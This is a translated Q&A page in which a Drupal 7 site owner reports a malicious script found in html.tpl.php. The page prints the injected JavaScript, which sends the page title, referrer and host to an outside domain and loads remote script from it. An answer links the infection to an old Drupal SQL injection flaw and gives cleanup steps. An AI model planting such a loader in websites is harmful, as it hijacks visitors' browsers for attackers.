注入Drupal 7网站的恶意代码(html.tpl.php)

时间:2016-01-19 14:51:38

标签: php jquery drupal drupal-7 drupal-modules

最近我的Drupal网站被重新安装在7.23上。我必须基本上回到过去,恢复旧数据库,然后复制/粘贴HTML以获得当前站点的干净版本。不幸的是,即使经历了所有这些,今天我正在检查我的网站,当我加载管理仪表板时,我在浏览器的左下角看到了一个尴尬的URL。该网址为' nla98.it'。所以我使用Sublime文本在文件中运行了一个find,并找到了以下代码,我肯定没有将其插入到我的modules / system / html.tpl.php中:

<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);

if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>

显然这是执行代码的某种脚本。但我的问题是,这是如何注入我的网站的?我正在运行Drupal 7,升级到7.41,我已经多次运行更新脚本和cron。我正在运行的脚本是:

jquery.js?v=1.12.0 
jquery.once.js?v=1.2 
drupal.js 
jquery.cookie.js?v=1.0 
textarea.js?v=7.41 
jquery-ui-1.8.23.custom.min.js 
gumby.js 
modernizr-2.0.6.min.js 
mobile-menu.js 
jquery.ui.totop.js 
easing.js 
plugins.js 
jquery.tweet.js 
main.js 
montreal.js 
supersized.js 
gen_validatorv31.js 
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js

它可能是我正在使用的过时JS之一的漏洞利用吗?我使用的模板是蒙特利尔(有点旧)。

感谢您的想法。

1 个答案:

答案 0 :(得分:0)

Drupal中存在一个非常关键的漏洞,直到版本7.32(登录时sql注入)。您基本上可以做任何事情:以超级管理员身份登录然后执行php代码/上传文件(带菜单)/创建帐户/ ....我怀疑你的问题来自过时的js库。 那么升级核心后你可以做些什么:

  • 检查没有额外文件
  • 检查没有创建额外的帐户。
  • 检查没有引用额外的菜单链接
  • 检查您的自定义文件(模块/主题/ ...)是否与您的版本副本相同,否则您最好手动检查所有代码。
  • 检查是否禁用了php执行
  • 交叉手指没有受到影响(如果他可以在您的服务器上执行带有exec()的命令,则没有限制......)。

更快但更激进的解决方案(并且唯一一个100%安全):擦除您的服务器重新安装它,从您的版本控制软件(git,svn,...)复制旧的基础和drupal文件,并将核心升级到7.41。 / p>

下次尝试更频繁地升级你的drupal核心,这个漏洞在知道之后几乎立即被修复,大多数被攻击的网站等待太久才能更新核心。